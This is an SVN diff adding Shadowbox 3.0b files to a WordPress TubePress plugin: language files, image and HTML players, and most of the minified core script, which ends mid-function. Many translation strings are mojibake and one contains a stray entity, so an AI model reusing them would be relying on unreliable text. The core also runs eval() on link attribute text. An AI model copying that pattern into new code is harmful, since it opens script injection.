Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-no.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-no.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-no.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"no",of:"av",loading:"laster",cancel:"Avbryt",next:"Neste",previous:"Forrige",play:"Spill",pause:"Pause",close:"Lukk",errors:{single:'Du mÃ¥ installere  <a href="{0}">{1}</a> for Ã¥ kunne se dette innholdet.',shared:'Du mÃ¥ installere bÃ¥de <a href="{0}">{1}</a> og <a href="{2}">{3}</a> for Ã¥ kunne se dette innholdet.',either:'Du mÃ¥ enten installere <a href="{0}">{1}</a> eller <a href="{2}">{3}</a> for Ã¥ kunne se dette innholdet.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-pl.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-pl.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-pl.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"pl",of:"z",loading:"wczytywanie",cancel:"Anuluj",next:"Dalej",previous:"WrÃ³Ä",play:"Odtwarzaj",pause:"Pauza",close:"Zamknij",errors:{single:'Musisz zainstalowaÄ plugin <a href="{0}">{1}</a> aby zobaczyÄ zawartoÅÄ',shared:'Musisz zainstalowaÄ pluginy <a href="{0}">{1}</a> i <a href="{2}">{3}</a> aby zobaczyÄ zawartoÅÄ ',either:'Musisz zainstalowaÄ plugin <a href="{0}">{1}</a> lub <a href="{2}">{3}</a> aby zobaczyÄ zawartoÅÄ'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-pt-BR.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-pt-BR.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-pt-BR.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"pt-BR",of:"de",loading:"carregando",cancel:"Cancelar",next:"PrÃ³ximo",previous:"Anterior",play:"Play",pause:"Pause",close:"Fechar",errors:{single:'VocÃª precisa instalar o plugin <a href="{0}">{1}</a> para visualizar o conteÃºdo.',shared:'VocÃª precisa instalar os plugins <a href="{0}">{1}</a> e <a href="{2}">{3}</a>, para visualizar o conteÃºdo.',either:'VocÃª precisa instalar o plugin <a href="{0}">{1}</a> ou o plugin <a href="{2}">{3}</a>, para visualizar o conteÃºdo.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-pt-PT.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-pt-PT.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-pt-PT.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"pt-PT",of:"de",loading:"A Carregar...",cancel:"Cancelar",next:"Seguinte",previous:"Anterior",play:"Reproduzir",pause:"Pausa",close:"Fechar",errors:{single:'Ã necessÃ¡rio instalar o plugin <a href="{0}">{1}</a> para visualizar este conteÃºdo.',shared:'Ã necessÃ¡rio instalar os plugins <a href="{0}">{1}</a> e <a href="{2}">{3}</a> para visualizar este conteÃºdo.',either:'Ã necessÃ¡rio instalar o plugin <a href="{0}">{1}</a> ou o plugin <a href="{2}">{3}</a> para visualizar este conteÃºdo.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ro.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ro.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ro.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"ro",of:"din",loading:"se incarca",cancel:"Revocare",next:"Inainte",previous:"Inapoi",play:"Ruleaza",pause:"Pauza",close:"Inchide",errors:{single:'Pentru a vizualiza acest continut trebuie sa instalati acest plugin <a href="{0}">{1}</a>.',shared:'Pentru a vizualiza acest continut trebuie sa instalati pluginurile <a href="{0}">{1}</a> si <a href="{2}">{3}</a>.',either:'Pentru a vizualiza acest continut trebuie sa instalati pluginul <a href="{0}">{1}</a> sau <a href="{2}">{3}</a>.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ru.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ru.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ru.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"ru",of:"ÐžÐ·",loading:"Ð·Ð°Ð³ÑÑÐ·ÐºÐ°",cancel:"ÐÑÐŒÐµÐœÐ°",next:"Ð¡Ð»ÐµÐŽÑÑÑÐ°Ñ",previous:"ÐÑÐµÐŽÑÐŽÑÑÐ°Ñ",play:"ÐÑÑÐº",pause:"ÐÐ°ÑÐ·Ð°",close:"ÐÐ°ÐºÑÑÑÑ",errors:{single:'ÐÑ ÐŽÐŸÐ»Ð¶ÐœÑ ÑÑÑÐ°ÐœÐŸÐ²ÐžÑÑ ÐŽÐ»Ñ Ð±ÑÐ°ÑÐ·ÐµÑÐ° Ð¿Ð»Ð°Ð³ÐžÐœ <a href="{0}">{1}</a>, ÑÑÐŸÐ±Ñ Ð¿ÑÐŸÑÐŒÐŸÑÑÐžÐ²Ð°ÑÑ ÑÑÐŸÑ ÐºÐŸÐœÑÐµÐœÑ.',shared:'Ð§ÑÐŸÐ±Ñ Ð¿ÑÐŸÑÐŒÐŸÑÑÐµÑÑ ÑÑÐŸÑ ÐºÐŸÐœÑÐµÐœÑ, Ð²Ñ ÐŽÐŸÐ»Ð¶ÐœÑ ÑÑÑÐ°ÐœÐŸÐ²ÐžÑÑ Ðž <a href="{0}">{1}</a>, Ðž <a href="{2}">{3}</a>.',either:'ÐÑ ÐŽÐŸÐ»Ð¶ÐœÑ ÑÑÑÐ°ÐœÐŸÐ²ÐžÑÑ ÐžÐ»Ðž <a href="{0}">{1}</a> Ð¿Ð»Ð°Ð³ÐžÐœ, ÐžÐ»Ðž <a href="{2}">{3}</a>, ÑÑÐŸÐ±Ñ Ð¿ÑÐŸÑÐŒÐŸÑÑÐµÑÑ ÑÑÐŸÑ ÐºÐŸÐœÑÐµÐœÑ.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-sk.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-sk.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-sk.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"sk",of:"z",loading:"NaÄÃ­tava",cancel:"ZruÅ¡",next:"Äalej",previous:"PredchÃ¡dzjÃºci",play:"Prehraj",pause:"Zastav",close:"ZavrieÅ¥",errors:{single:'Na prezeranie obsahu je potrebnÃ© nainÅ¡talovaÅ¥ tento plugin <a href="{0}">{1}</a> do prehÄŸiadaÄa.',shared:'Na prezeranie obsahu je potrebnÃ© nainÅ¡talovaÅ¥ tieto pluginy <a href="{0}">{1}</a> a <a href="{2}">{3}</a> do prehÄŸiadaÄa.',either:'Na prezeranie obsahu je potrebnÃ© nainÅ¡talovaÅ¥ niektorÃœ z tÃœchto pluginov <a href="{0}">{1}</a> alebo <a href="{2}">{3}</a> do prehÄŸiadaÄa.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-sv.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-sv.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-sv.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"sv",of:"av",loading:"laddar",cancel:"Avbryt",next:"NÃ€sta",previous:"FÃ¶regÃ¥ende",play:"Spela",pause:"Pausa",close:"StÃ€ng",errors:{single:'Du mÃ¥ste installera insticksprogrammet <a href="{0}">{1}</a> fÃ¶r att kunna visa innehÃ¥llet.',shared:'Du mÃ¥ste installera bÃ¥de insticksprogram <a href="{0}">{1}</a> och <a href="{2}">{3}</a> fÃ¶r att kunna visa innehÃ¥llet.',either:'Du mÃ¥ste installera antingen insticksprogram <a href="{0}">{1}</a>, eller <a href="{2}">{3}</a> fÃ¶r att kunna visa innehÃ¥llet.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-tr.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-tr.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-tr.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"tr",of:"/",loading:"yÃŒkleniyor",cancel:"Ä°ptal",next:"Sonraki",previous:"Ãnceki",play:"Oynat",pause:"Durdur",close:"Kapat",errors:{single:'Bu iÃ§eriÄi gÃ¶rmek iÃ§in <a href="{0}">{1}</a> eklentisini kurmanÄ±z gerekiyor.',shared:'Bu iÃ§eriÄi gÃ¶rmek iÃ§in <a href="{0}">{1}</a> ve <a href="{2}">{3}</a> eklentilerini kurmanÄ±z gerekiyor.',either:'Bu iÃ§eriÄi gÃ¶rmek iÃ§in <a href="{0}">{1}</a> veya <a href="{2}">{3}</a> eklentilerinden birini kurmanÄ±z gerekiyor.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-zh-CN.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-zh-CN.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-zh-CN.js	(revision 44)
@@ -0,0 +1,13 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"zh-CN",of:"ç",loading:"è¯»åäž­",cancel:"åæ¶",next:"äžäžé¡µ",previous:"äžäžé¡µ",play:"æ§è¡",pause:"æå",close:"å
+³é­",errors:{single:'æšå¿
+é¡»å®è£
+ <a href="{0}">{1}</a> è¿äžªæµè§å€æçšåŒæèœæ£è§è¿éçå
+å®¹ã',shared:'æšå¿
+é¡»å®è£
+ <a href="{0}">{1}</a> å <a href="{2}">{3}</a> è¿äž€äžªæµè§å€æçšåŒæèœæ£è§è¿éçå
+å®¹ã',either:'æšå¿
+é¡»å®è£
+ <a href="{0}">{1}</a> æè
+æ¯ the <a href="{2}">{3}</a> è¿äž€äžªå
+¶äž­äžäžªæµè§å€æçšåŒæèœæ£è§è¿éçå
+å®¹ã'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-zh-TW.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-zh-TW.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-zh-TW.js	(revision 44)
@@ -0,0 +1,11 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"zh-TW",of:"ç",loading:"è®åäž­",cancel:"åæ¶",next:"äžäžé ",previous:"äžäžé ",play:"å·è¡",pause:"æ«å",close:"éé",errors:{single:'æšå¿
+é å®è£ <a href="{0}">{1}</a> éåçèŠœå€æçšåŒæèœæª¢èŠéè£¡çå
+§å®¹ã',shared:'æšå¿
+é å®è£ <a href="{0}">{1}</a> å <a href="{2}"&gt;{3}</a> éå
+©åçèŠœå€æçšåŒæèœæª¢èŠéè£¡çå
+§å®¹ã',either:'æšå¿
+é å®è£ <a href="{0}">{1}</a> æè
+æ¯ the <a href="{2}">{3}</a> éå
+©åå
+¶äž­äžåçèŠœå€æçšåŒæèœæª¢èŠéè£¡çå
+§å®¹ã'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/players/shadowbox-html.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/players/shadowbox-html.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/players/shadowbox-html.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(a){a.html=function(b){this.obj=b;this.height=b.height?parseInt(b.height,10):300;this.width=b.width?parseInt(b.width,10):500};a.html.prototype={append:function(b,e,c){this.id=e;var d=document.createElement("div");d.id=e;d.className="html";d.innerHTML=this.obj.content;b.appendChild(d)},remove:function(){var b=document.getElementById(this.id);if(b){a.lib.remove(b)}}}})(Shadowbox);
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/players/shadowbox-img.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/players/shadowbox-img.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/players/shadowbox-img.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(h){var e=h.util,i,k,j="sb-drag-layer",d;function b(){i={x:0,y:0,start_x:null,start_y:null}}function c(m,o,l){if(m){b();var n=["position:absolute","height:"+o+"px","width:"+l+"px","cursor:"+(h.client.isGecko?"-moz-grab":"move"),"background-color:"+(h.client.isIE?"#fff;filter:alpha(opacity=0)":"transparent")].join(";");h.lib.append(h.skin.bodyEl(),'<div id="'+j+'" style="'+n+'"></div>');h.lib.addEvent(e.get(j),"mousedown",g)}else{var p=e.get(j);if(p){h.lib.removeEvent(p,"mousedown",g);h.lib.remove(p)}k=null}}function g(m){h.lib.preventDefault(m);var l=h.lib.getPageXY(m);i.start_x=l[0];i.start_y=l[1];k=e.get(h.contentId());h.lib.addEvent(document,"mousemove",f);h.lib.addEvent(document,"mouseup",a);if(h.client.isGecko){e.get(j).style.cursor="-moz-grabbing"}}function a(){h.lib.removeEvent(document,"mousemove",f);h.lib.removeEvent(document,"mouseup",a);if(h.client.isGecko){e.get(j).style.cursor="-moz-grab"}}function f(o){var q=h.content,p=h.dimensions,n=h.lib.getPageXY(o);var m=n[0]-i.start_x;i.start_x+=m;i.x=Math.max(Math.min(0,i.x+m),p.inner_w-q.width);k.style.left=i.x+"px";var l=n[1]-i.start_y;i.start_y+=l;i.y=Math.max(Math.min(0,i.y+l),p.inner_h-q.height);k.style.top=i.y+"px"}h.img=function(m){this.obj=m;this.resizable=true;this.ready=false;var l=this;d=new Image();d.onload=function(){l.height=m.height?parseInt(m.height,10):d.height;l.width=m.width?parseInt(m.width,10):d.width;l.ready=true;d.onload="";d=null};d.src=m.content};h.img.prototype={append:function(l,o,n){this.id=o;var m=document.createElement("img");m.id=o;m.src=this.obj.content;m.style.position="absolute";m.setAttribute("height",n.resize_h);m.setAttribute("width",n.resize_w);l.appendChild(m)},remove:function(){var l=e.get(this.id);if(l){h.lib.remove(l)}c(false);if(d){d.onload="";d=null}},onLoad:function(){var l=h.dimensions;if(l.oversized&&h.options.handleOversize=="drag"){c(true,l.resize_h,l.resize_w)}},onWindowResize:function(){if(k){var p=h.content,o=h.dimensions,n=parseInt(h.lib.getStyle(k,"top")),m=parseInt(h.lib.getStyle(k,"left"));if(n+p.height<o.inner_h){k.style.top=o.inner_h-p.height+"px"}if(m+p.width<o.inner_w){k.style.left=o.inner_w-p.width+"px"}}}}})(Shadowbox);
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/shadowbox.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/shadowbox.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/shadowbox.js	(revision 44)
@@ -0,0 +1,1 @@
+var Shadowbox=function(){var ua=navigator.userAgent.toLowerCase(),S={version:"3.0b",adapter:null,current:-1,gallery:[],cache:[],content:null,dimensions:null,plugins:null,path:"",options:{adapter:null,animate:true,animateFade:true,autoplayMovies:true,autoDimensions:false,continuous:false,counterLimit:10,counterType:"default",displayCounter:true,displayNav:true,ease:function(x){return 1+Math.pow(x-1,3)},enableKeys:true,errors:{fla:{name:"Flash",url:"http://www.adobe.com/products/flashplayer/"},qt:{name:"QuickTime",url:"http://www.apple.com/quicktime/download/"},wmp:{name:"Windows Media Player",url:"http://www.microsoft.com/windows/windowsmedia/"},f4m:{name:"Flip4Mac",url:"http://www.flip4mac.com/wmv_download.htm"}},ext:{img:["png","jpg","jpeg","gif","bmp"],swf:["swf"],flv:["flv"],qt:["dv","mov","moov","movie","mp4"],wmp:["asf","wm","wmv"],qtwmp:["avi","mpg","mpeg"],iframe:["asp","aspx","cgi","cfm","htm","html","jsp","pl","php","php3","php4","php5","phtml","rb","rhtml","shtml","txt","vbs"]},fadeDuration:0.35,flashParams:{bgcolor:"#000000",allowFullScreen:true},flashVars:{},flashVersion:"9.0.115",handleOversize:"resize",handleUnsupported:"link",initialHeight:160,initialWidth:320,language:"en",modal:false,onChange:null,onClose:null,onFinish:null,onOpen:null,overlayColor:"#000",overlayOpacity:0.8,players:["img"],resizeDuration:0.35,showOverlay:true,showMovieControls:true,skipSetup:false,slideshowDelay:0,useSizzle:true,viewportPadding:20},client:{isIE:ua.indexOf("msie")>-1,isIE6:ua.indexOf("msie 6")>-1,isIE7:ua.indexOf("msie 7")>-1,isGecko:ua.indexOf("gecko")>-1&&ua.indexOf("safari")==-1,isWebkit:ua.indexOf("applewebkit/")>-1,isWindows:ua.indexOf("windows")>-1||ua.indexOf("win32")>-1,isMac:ua.indexOf("macintosh")>-1||ua.indexOf("mac os x")>-1,isLinux:ua.indexOf("linux")>-1},regex:{domain:/:\/\/(.*?)[:\/]/,inline:/#(.+)$/,rel:/^(light|shadow)box/i,gallery:/^(light|shadow)box\[(.*?)\]/i,unsupported:/^unsupported-(\w+)/,param:/\s*([a-z_]*?)\s*=\s*(.+)\s*/},libraries:{Prototype:"prototype",jQuery:"jquery",MooTools:"mootools",YAHOO:"yui",dojo:"dojo",Ext:"ext"},applyOptions:function(opts){if(opts){default_options=apply({},S.options);apply(S.options,opts)}},buildCacheObj:function(link,opts){var href=link.href,obj={el:link,title:link.getAttribute("title"),options:apply({},opts||{}),content:href};each(["player","title","height","width","gallery"],function(o){if(typeof obj.options[o]!="undefined"){obj[o]=obj.options[o];delete obj.options[o]}});if(!obj.player){obj.player=getPlayer(href)}var rel=link.getAttribute("rel");if(rel){var m=rel.match(S.regex.gallery);if(m){obj.gallery=escape(m[2])}each(rel.split(";"),function(p){m=p.match(S.regex.param);if(m){if(m[1]=="options"){eval("apply(obj.options,"+m[2]+")")}else{obj[m[1]]=m[2]}}})}return obj},change:function(n){if(!S.gallery){return}if(!S.gallery[n]){if(!S.options.continuous){return}else{n=n<0?S.gallery.length-1:0}}S.current=n;if(typeof slide_timer=="number"){clearTimeout(slide_timer);slide_timer=null;slide_delay=slide_start=0}if(S.options.onChange){S.options.onChange()}loadContent()},clearCache:function(){each(S.cache,function(obj){if(obj.el){S.lib.removeEvent(obj.el,"click",handleClick)}});S.cache=[]},close:function(){if(!active){return}active=false;listenKeys(false);if(S.content){S.content.remove();S.content=null}if(typeof slide_timer=="number"){clearTimeout(slide_timer)}slide_timer=null;slide_delay=0;if(S.options.onClose){S.options.onClose()}S.skin.onClose();S.revertOptions();each(v_cache,function(c){c[0].style.visibility=c[1]})},contentId:function(){return content_id},getCounter:function(){var len=S.gallery.length;if(S.options.counterType=="skip"){var c=[],i=0,end=len,limit=parseInt(S.options.counterLimit)||0;if(limit<len&&limit>2){var h=Math.floor(limit/2);i=S.current-h;if(i<0){i+=len}end=S.current+(limit-h);if(end>len){end-=len}}while(i!=end){if(i==len){i=0}c.push(i++)}}else{var c=(S.current+1)+" "+S.lang.of+" "+len}return c},getCurrent:function(){return S.current>-1?S.gallery[S.current]:null},hasNext:function(){return S.gallery.length>1&&(S.current!=S.gallery.length-1||S.options.continuous)},init:function(opts){if(initialized){return}initialized=true;opts=opts||{};init_options=opts;if(opts){apply(S.options,opts)}for(var e in S.options.ext){S.regex[e]=new RegExp(".("+S.options.ext[e].join("|")+")s*$","i")}if(!S.path){var path_re=/(.+)shadowbox\.js/i,path;each(document.getElementsByTagName("script"),function(s){if((path=path_re.exec(s.src))!=null){S.path=path[1];return false}})}if(S.options.adapter){S.adapter=S.options.adapter}else{for(var lib in S.libraries){if(typeof window[lib]!="undefined"){S.adapter=S.libraries[lib];break}}if(!S.adapter){S.adapter="base"}}if(S.options.useSizzle&&!window.Sizzle){U.include(S.path+"libraries/sizzle/sizzle.js")}if(!S.lang){U.include(S.path+"languages/shadowbox-"+S.options.language+".js")}each(S.options.players,function(p){if((p=="swf"||p=="flv")&&!window.swfobject){U.include(S.path+"libraries/swfobject/swfobject.js")}if(!S[p]){U.include(S.path+"players/shadowbox-"+p+".js")}});if(!S.lib){U.include(S.path+"adapters/shadowbox-"+S.adapter+".js")}},isActive:function(){return active},isPaused:function(){return slide_timer=="paused"},load:function(){if(S.skin.options){apply(S.options,S.skin.options);apply(S.options,init_options)}var markup=S.skin.markup.replace(/\{(\w+)\}/g,function(m,p){return S.lang[p]});S.lib.append(document.body,markup);if(S.skin.init){S.skin.init()}var id;S.lib.addEvent(window,"resize",function(){if(id){clearTimeout(id);id=null}if(active){id=setTimeout(function(){if(S.skin.onWindowResize){S.skin.onWindowResize()}var c=S.content;if(c&&c.onWindowResize){c.onWindowResize()}},50)}});if(!S.options.skipSetup){S.setup()}},next:function(){S.change(S.current+1)},open:function(obj){if(U.isLink(obj)){obj=S.buildCacheObj(obj)}if(obj.constructor==Array){S.gallery=obj;S.current=0}else{if(!obj.gallery){S.gallery=[obj];S.current=0}else{S.current=null;S.gallery=[];each(S.cache,function(c){if(c.gallery&&c.gallery==obj.gallery){if(S.current==null&&c.content==obj.content&&c.title==obj.title){S.current=S.gallery.length}S.gallery.push(c)}});if(S.current==null){S.gallery.unshift(obj);S.current=0}}}obj=S.getCurrent();if(obj.options){S.revertOptions();S.applyOptions(obj.options)}var g,r,m,s,a,oe=S.options.errors,msg,el;for(var i=0;i<S.gallery.length;++i){g=S.gallery[i]=apply({},S.gallery[i]);r=false;if(g.player=="unsupported"){r=true}else{if(m=S.regex.unsupported.exec(g.player)){if(S.options.handleUnsupported=="link"){g.player="html";switch(m[1]){case"qtwmp":s="either";a=[oe.qt.url,oe.qt.name,oe.wmp.url,oe.wmp.name];break;case"qtf4m":s="shared";a=[oe.qt.url,oe.qt.name,oe.f4m.url,oe.f4m.name];break;default:s="single";if(m[1]=="swf"||m[1]=="flv"){m[1]="fla"}a=[oe[m[1]].url,oe[m[1]].name]}msg=S.lang.errors[s].replace(/\{(\d+)\}/g,function(m,n){return a[n]});g.content='<div class="sb-message">'+msg+"</div>"}else{r=true}}else{if(g.player=="inline"){m=S.regex.inline.exec(g.content);if(m){var el=U.get(m[1]);if(el){g.content=el.innerHTML}else{throw"Cannot find element with id "+m[1]}}else{throw"Cannot find element id for inline content"}}else{if(g.player=="swf"||g.player=="flv"){var version=(g.options&&g.options.flashVersion)||S.options.flashVersion;if(!swfobject.hasFlashPlayerVersion(version)){g.width=310;g.height=177}}}}}if(r){S.gallery.splice(i,1);if(i<S.current){--S.current}else{if(i==S.current){S.current=i>0?i-1:i}}--i}}if(S.gallery.length){if(!active){if(typeof S.options.onOpen=="function"&&S.options.onOpen(obj)===false){return}v_cache=[];each(["select","object","embed","canvas"],function(tag){each(document.getElementsByTagName(tag),function(el){v_cache.push([el,el.style.visibility||"visible"]);el.style.visibility="hidden"})});var h=S.options.autoDimensions&&"height" in obj?obj.height:S.options.initialHeight;var w=S.options.autoDimensions&&"width" in obj?obj.width:S.options.initialWidth;S.skin.onOpen(h,w,loadContent)}else{loadContent()}active=true}},pause:function(){if(typeof slide_timer!="number"){return}var time=new Date().getTime();slide_delay=Math.max(0,slide_delay-(time-slide_start));if(slide_delay){clearTimeout(slide_timer);slide_timer="paused";if(S.skin.onPause){S.skin.onPause()}}},play:function(){if(!S.hasNext()){return}if(!slide_delay){slide_delay=S.options.slideshowDelay*1000}if(slide_delay){slide_start=new Date().getTime();slide_timer=setTimeout(function(){slide_delay=slide_start=0;S.next()},slide_delay);if(S.skin.onPlay){S.skin.onPlay()}}},previous:function(){S.change(S.current-1)},revertOptions:function(){apply(S.options,default_options)},setDimensions:function(height,width,max_h,max_w,tb,lr,resizable){var h=height=parseInt(height),w=width=parseInt(width),pad=parseInt(S.options.viewportPadding)||0;var extra_h=2*pad+tb;if(h+extra_h>=max_h){h=max_h-extra_h}var extra_w=2*pad+lr;if(w+extra_w>=max_w){w=max_w-extra_w}var resize_h=height,resize_w=width,change_h=(height-h)/height,change_w=(width-w)/width,oversized=(change_h>0||change_w>0);if(resizable&&oversized&&S.options.handleOversize=="resize"){if(change_h>change_w){w=Math.round((width/height)*h)}else{if(change_w>change_h){h=Math.round((height/width)*w)}}resize_w=w;resize_h=h}S.dimensions={height:h+tb,width:w+lr,inner_h:h,inner_w:w,top:(max_h-(h+extra_h))/2+pad,left:(max_w-(w+extra_w))/2+pad,oversized:oversized,resize_h:resize_h,resize_w:resize_w};return S.dimensions},setup:function(links,opts){if(!links){var links=[],rel;each(document.getElementsByTagName("a"),function(a){rel=a.getAttribute("rel");if(rel&&S.regex.rel.test(rel)){links.push(a)}})}else{var len=links.length;if(len){if(window.Sizzle){if(typeof links=="string"){links=Sizzle(links)}else{if(len==2&&links.push&&typeof links[0]=="string"&&links[1].nodeType){links=Sizzle(links[0],links[1])}}}}else{links=[links]}}each(links,function(link){if(typeof link.shadowboxCacheKey=="undefined"){link.shadowboxCacheKey=S.cache.length;S.lib.addEvent(link,"click",handleClick)}S.cache[link.shadowboxCacheKey]=S.buildCacheObj(link,opts)})}},U=S.util={animate:function(el,p,to,d,cb){var from=parseFloat(S.lib.getStyle(el,p));if(isNaN(from)){from=0}var delta=to-from;if(delta==0){if(cb){cb()}return}var op=p=="opacity";function fn(ease){var to=from+ease*delta;if(op){U.setOpacity(el,to)}else{el.style[p]=to+"px"}}if(!d||(!op&&!S.options.animate)||(op&&!S.options.animateFade)){fn(1);if(cb){cb()}return}d*=1000;var begin=new Date().getTime(),end=begin+d,time,timer=setInterval(function(){time=new Date().getTime();if(time>=end){clearInterval(timer);fn(1);if(cb){cb()}}else{fn(S.options.ease((time-begin)/d))}},10)},apply:function(o,e){for(var p in e){o[p]=e[p]}return o},clearOpacity:function(el){var s=el.style;if(window.ActiveXObject){if(typeof s.filter=="string"&&(/alpha/i).test(s.filter)){s.filter=s.filter.replace(/[\w\.]*alpha\(.*?\);?/i,"")}}else{s.opacity=""}},each:function(obj,fn,scope){for(var i=0,len=obj.length;i<len;++i){if(fn.call(scope||obj[i],obj[i],i,obj)===false){return}}},get:function(id){return document.getElementById(id)},include:function(){var includes={};return function(file){if(includes[file]){return}includes[file]=true;document.write('<script type="text/javascript" src="'+file+'"><\/script>')}}(),isLink:function(obj){if(!obj||!obj.tagName){return false}var up=obj.tagName.toUpperCase();return up=="A"||up=="AREA"},removeChildren:function(el){while(el.firstChild){el.removeChild(el.firstChild)}},setOpacity:function(el,o){var s=el.style;if(window.ActiveXObject){s.zoom=1;s.filter=(s.filter||"").replace(/\s*alpha\([^\)]*\)/gi,"")+(o==1?"":" 